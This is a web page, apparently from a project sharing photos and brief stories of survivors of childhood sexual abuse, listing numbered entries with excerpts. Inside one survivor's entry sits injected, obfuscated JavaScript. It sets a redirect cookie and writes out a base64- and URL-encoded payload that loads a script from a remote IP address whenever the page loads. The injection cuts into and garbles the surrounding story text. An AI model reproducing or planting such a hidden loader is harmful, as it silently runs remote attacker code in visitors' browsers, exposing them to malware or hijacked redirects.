I was 10 years old and I had a secret. A secret so frightening I couldn’t even tell my parents. When I think about it now I wonder how this innocent little girl, who was still playing with dolls, allowed this to happen to her. An only child, I never heard a word about sex, […]
Photos & Captions
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160 – Brandy
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159 – Cynthia
For years it was a shameful secret I could not remember. Back in the recesses of my memories it lingered. Waiting to be set free. My nightmare started when I was 5 years old, a priest came to live in my poor, dying of bone cancer maternal grandmother’s house. She resided in Spanish Harlem this […]
158 – Ruth
This is a pic of my mom myself and my brother and sister. We were all abused physically and the girls sexually. This pic was taken in a gloomy period of my life my whole childhood. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘
157 – Callen
I believe it is incredibly important to put human faces and human stories to the issue of childhood sex abuse. It cannot end until people talk about it. People will not talk about it in the abstract. There will only be an impact when those of us who have endured abuse share our personal stories […]